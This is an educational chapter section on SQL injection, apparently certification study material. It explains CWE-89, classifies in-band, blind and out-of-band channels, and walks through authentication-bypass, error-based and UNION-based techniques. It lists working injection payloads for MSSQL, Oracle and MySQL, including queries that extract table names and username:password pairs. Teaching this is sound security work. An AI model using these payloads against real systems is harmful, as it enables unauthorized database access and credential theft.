12.2 SQL Injection (SQLi) Foundations & In-Band Techniques

12.2 SQL Injection (SQLi) Foundations & In-Band Techniques

SQL Injection (SQLi), catalogued under CWE-89 ("Improper Neutralization of Special Elements used in an SQL Command"), remains one of the most devastating and prevalent web application vulnerabilities. For decades, it has featured prominently in the OWASP Top 10. A successful SQL injection attack enables adversaries to bypass authentication, access and manipulate sensitive database records, execute administrative operations, and in many instances, pivot to full operating system compromise.

---

Root Cause Analysis: The Mechanics of CWE-89

The root cause of SQL injection is the failure to separate code from untrusted data. When an application constructs SQL queries by dynamically concatenating user-supplied input directly into query strings, user input transitions from passive parameter data into active database instructions.

+-----------------------------------------------------------------------------+
|                        SQL INJECTION PARSER SUBVERSION                      |
+-----------------------------------------------------------------------------+
| Vulnerable Code:                                                            |
|   query = "SELECT * FROM users WHERE user = '" + userInput + "';"           |
|                                                                             |
| Legitimate Input: 'alice'                                                   |
|   SELECT * FROM users WHERE user = 'alice';                                 |
|   [Lexer treats 'alice' strictly as a string literal operand]               |
|                                                                             |
| Malicious Input: ' OR '1'='1                                                |
|   SELECT * FROM users WHERE user = '' OR '1'='1';                           |
|   [Lexer encounters unmatched quote, creates OR boolean operator node,      |
|    and alters the Abstract Syntax Tree (AST) execution logic]               |
+-----------------------------------------------------------------------------+

When the database engine's parser performs lexical analysis, single quotation marks (') or double quotation marks (") delineate string boundaries. An unescaped quote character in the input prematurely closes the intended literal. Any subsequent characters are parsed as raw SQL operators, keywords (OR, UNION, SELECT), or comments, fundamentally rewriting the query's Abstract Syntax Tree (AST) before execution.

---

Classification of SQL Injection Channels

SQL injection vulnerabilities are classified based on the channel through which the attack payload is delivered and the method by which data is extracted:

+-----------------------------------------------------------------------------+
|                     TAXONOMY OF SQL INJECTION CHANNELS                      |
+-----------------------------------------------------------------------------+
| Channel Type          | Data Extraction Method        | Bandwidth / Speed   |
+-----------------------+-------------------------------+---------------------+
| In-Band (Classic)     | Direct HTTP Response (UNION,  | High bandwidth,     |
|                       | Error messages, Direct records)| Immediate results   |
| Inferential (Blind)   | True/False Response Changes or| Low bandwidth,      |
|                       | Execution Time Delays         | Bit-by-bit extraction|
| Out-of-Band (OOB)     | External DNS / HTTP Callbacks | Variable bandwidth, |
|                       | (e.g., DNS exfiltration)      | Asynchronous        |
+-----------------------+-------------------------------+---------------------+

1. In-Band SQLi (Classic): The attacker uses the same channel of communication (the HTTP request and response cycle) to both launch the attack and harvest results. In-band techniques include UNION-based injection and Error-based injection.
2. Inferential SQLi (Blind): The application does not display query results or detailed database errors in the HTTP response. The attacker reconstructs data by sending iterative payloads and observing side effects, such as differing HTTP response bodies (Boolean-based) or response latency (Time-based).
3. Out-of-Band SQLi (OOB): Used when in-band responses are absent and network or server configurations prevent reliable blind timing attacks. The attacker forces the database server itself to initiate an external network request (such as a DNS lookup or HTTP request) to an attacker-controlled server, carrying data within the request payload.

---

In-Band Exploitation: Authentication Bypass & Comment Syntaxes

Authentication bypass is the classic entry-level demonstration of SQL injection. Web login scripts frequently validate credentials using queries structured as:

SELECT * FROM accounts WHERE username = '$user' AND password = '$password';

Tautology Payloads

An attacker supplies an input designed to evaluate to a mathematical tautology (a condition that is always true):

Username: admin' OR '1'='1
Password: [anything]

This renders the resulting database query as:

SELECT * FROM accounts WHERE username = 'admin' OR '1'='1' AND password = '...';

Because the OR condition evaluates to TRUE, the database returns records matching the username or the tautology, causing the application to log the attacker in as the first user returned (typically the administrator account).

Database Comment Syntaxes

To prevent trailing SQL syntax (such as AND password = '...') from triggering syntax errors, attackers terminate the query prematurely using database-specific comment markers:

+-----------------------------------------------------------------------------+
|                         DATABASE COMMENT SYNTAXES                           |
+-----------------------------------------------------------------------------+
| Database Engine       | Line Comment Syntax      | Inline / Block Comment   |
+-----------------------+--------------------------+--------------------------+
| Standard ANSI / MSSQL | -- (requires space/tab)  | /* comment */            |
| PostgreSQL            | --                       | /* comment */            |
| Oracle                | --                       | /* comment */            |
| MySQL                 | # or -- (space required) | /* comment */            |
| SQLite                | --                       | /* comment */            |
+-----------------------------------------------------------------------------+

Important CPSA Syntax Detail: In MySQL, the double-dash comment (--) MUST be followed by at least one space or whitespace character (e.g., -- or --+ where + decodes to a space in URL encoding). A double dash without a trailing space (--foo) is treated as a syntax operator, not a comment. MySQL also supports the hash character (#) as an immediate line comment delimiter.

Payloads utilizing comment truncation:

admin'-- 
admin'#
admin'/*

Resulting executed query:

SELECT * FROM accounts WHERE username = 'admin'-- ' AND password = '...';

The entire password validation clause is commented out, authenticating the session as admin.

---

Error-Based SQL Injection Mechanics

When an application fails to display database records directly on the webpage but displays raw database engine error messages (verbose error handling), attackers employ Error-Based SQL Injection. The objective is to deliberately trigger a runtime exception inside a function that reflects input data, coercing the database into outputting the results of a subquery within the text of the error message.

Attacker Payload ---> Subquery Evaluates: (SELECT @@version)
                             |
                             v
        Database forces conversion of text into incompatible type
                             |
                             v
  Runtime Exception: "Conversion failed when converting nvarchar value 
                     'Microsoft SQL Server 2019...' to data type int."
                             |
                             v
       Verbose error message rendered in HTTP response to attacker

Engine-Specific Error-Based Functions

1. Microsoft SQL Server (MSSQL): Type Conversion Errors

MSSQL enforces strict type conversion rules. Attempting to convert a text string into an integer (int) using CONVERT() or CAST() causes MSSQL to output the failed string in the error message:

' AND 1=CONVERT(int, (SELECT @@version))-- 
' AND 1=CAST((SELECT user_name()) AS int)-- 

Output Message: Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2019 (RTM) - 15.0.2000.5' to data type int.

2. Oracle RDBMS: XML & Network Resolution Errors

Oracle does not leak data via simple cast errors in the same manner as MSSQL. Instead, specialized PL/SQL packages or XML functions are invoked:

• CTXSYS.DRITHSX.SN(): Generates an error containing the result of an arbitrary query:

  ' AND 1=CTXSYS.DRITHSX.SN(user, (SELECT banner FROM v$version WHERE rownum=1))-- 
  

• UTL_INADDR.GET_HOST_NAME(): When supplied with a subquery, fails name resolution and returns the resolved string in the error:

  ' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT user FROM dual))-- 
  

3. MySQL / MariaDB: XPath Evaluation Errors

In MySQL (5.1+), the XML parsing functions extractvalue() and updatexml() evaluate XPath queries. If the XPath expression syntax is invalid, MySQL outputs the evaluated expression in the error message. Attackers prepend an invalid character (such as a tilde ~, hex 0x7e) to force an error:

' AND extractvalue(1, concat(0x7e, (SELECT version())))-- 
' AND updatexml(1, concat(0x7e, (SELECT user())), 1)-- 

Output Message: XPATH syntax error: '~8.0.32'

---

UNION-Based SQL Injection: Step-by-Step Methodology

The UNION operator in SQL combines the result sets of two or more SELECT statements into a single composite result set. In a UNION-based attack, the attacker appends their own malicious SELECT query to the original application query, extracting data directly onto the web page.

Original Application Query:              Attacker Appended Query:
SELECT id, title, description            UNION SELECT 1, username, password
FROM products WHERE category = 'Books'   FROM users;

Composite Result Set Returned to Web Page:
+----+-------------------+-----------------------------------+
| id | title             | description                       |
+----+-------------------+-----------------------------------+
| 1  | SQL Guide         | Comprehensive manual...           |
| 2  | Network Security  | Practical assessment...           |
| 1  | administrator     | $2y$12$e8YqJ2K8Z7xL9wV0N1mO3...   | <-- Injected
+----+-------------------+-----------------------------------+

Strict Prerequisites for UNION Injection

For a UNION query to execute without database termination, it must satisfy two fundamental SQL standards:

1. Identical Column Count: Both the original query and the injected query must return the exact same number of columns.
2. Compatible Data Types: The data types of corresponding columns in both queries must be compatible (e.g., if column 2 in the original query is an integer, the second column of the injected query cannot be arbitrary text on engines that enforce strict typing).

Step 1: Determining the Column Count

To discover how many columns the original query selects, the attacker employs one of two methods:

Method A: The ORDER BY Technique

The ORDER BY clause sorts results by a specified column index (1-indexed). The attacker increments the column index until the database throws an error:

' ORDER BY 1--   (Success: at least 1 column)
' ORDER BY 2--   (Success: at least 2 columns)
' ORDER BY 3--   (Success: at least 3 columns)
' ORDER BY 4--   (Error: query references a non-existent column!)

If ORDER BY 3 succeeds but ORDER BY 4 triggers an error (e.g., The ORDER BY position number 4 is out of range of the number of items in the select list), the original query selects exactly 3 columns.

Method B: The UNION SELECT NULL Technique

The attacker injects successive UNION SELECT statements populated with NULL literals. NULL is convertible to any data type, avoiding data type mismatch errors:

' UNION SELECT NULL--           (Error: column mismatch)
' UNION SELECT NULL, NULL--     (Error: column mismatch)
' UNION SELECT NULL, NULL, NULL-- (Success: column count matched!)

Step 2: Determining Data Types & Finding Display Columns

Once the column count is established, the attacker determines which columns can display string (varchar/text) data and are rendered visibly on the page. The attacker tests each column position individually with a string literal:

' UNION SELECT 'a', NULL, NULL-- 
' UNION SELECT NULL, 'a', NULL-- 
' UNION SELECT NULL, NULL, 'a'-- 

If the string 'a' appears on the web page when injected into position 2, column 2 is confirmed as an injectable display column.

Step 3: Extracting Data from Metadata and User Tables

With injectable columns identified, the attacker queries system catalogs and operational tables to exfiltrate data. To ensure only the attacker's data is displayed (suppressing legitimate original results), the attacker makes the first query return an empty set by specifying a non-existent ID (e.g., id=-1):

-1' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database()-- 
-1' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='users'-- 
-1' UNION SELECT 1, concat(username, ':', password), 3 FROM users--